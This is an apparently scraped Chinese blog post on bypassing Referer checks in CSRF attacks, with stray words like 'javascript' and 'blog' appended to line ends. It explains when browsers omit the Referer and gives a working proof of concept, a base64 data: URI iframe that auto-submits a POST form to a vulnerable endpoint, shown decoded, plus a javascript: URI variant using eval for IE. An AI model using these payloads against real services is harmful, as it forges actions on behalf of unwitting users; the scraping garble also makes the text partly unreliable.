在实际环境中,服务器不少CGI因为一些历史缘由,必须容许空Referer的请求。好比:老的客户端版本请求的时候就没有Referer,总不能在服务端一刀切,让老版本的用户都没法正常使用了吧。javascript
这样的CGI就存在CSRF攻击的风险。那么咱们该如何在真实环境中构造一个可利用的POC呢?html
咱们知道正常的页面跳转,浏览器都会自动带上Referer,那么如今的问题就变成了什么状况下浏览器会不带Referer?经过一些资料,能够大体总结为两种状况:java
1.经过地址栏,手动输入;从书签里面选择;经过实现设定好的手势。上面说的这三种都是用户本身去操做,所以不算CSRF。浏览器
2.跨协议间提交请求。常见的协议:ftp://,http://,https://,file://,javascript:,data:.最简单的状况就是咱们在本地打开一个HTML页面,这个时候浏览器地址栏是file://开头的,若是这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。那么咱们接下来能够利用data:协议来构造一个自动提交的CSRF攻击。固然这个协议是IE不支持的,咱们能够换用javascript:服务器
假如http://a.b.com/d 这个接口存在空Referer绕过的CSRF,那么咱们的POC能够是这样的:post
<html> <body> <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg=="> </doby> </html>
上面iframe的src的代码实际上是:orm
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
自动提交表单到有缺陷的CGI.htm
刚才说了上面的POC对IE支持很差,那么咱们能够用javascript:协议来实现一个相似的,大体思路是这样的,具体构造代码我不弄了:blog
<iframe id="a" src=""></iframe> <script> document.getElementById("a").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(xx)</scr'+'ipt></body></html>"'; </script>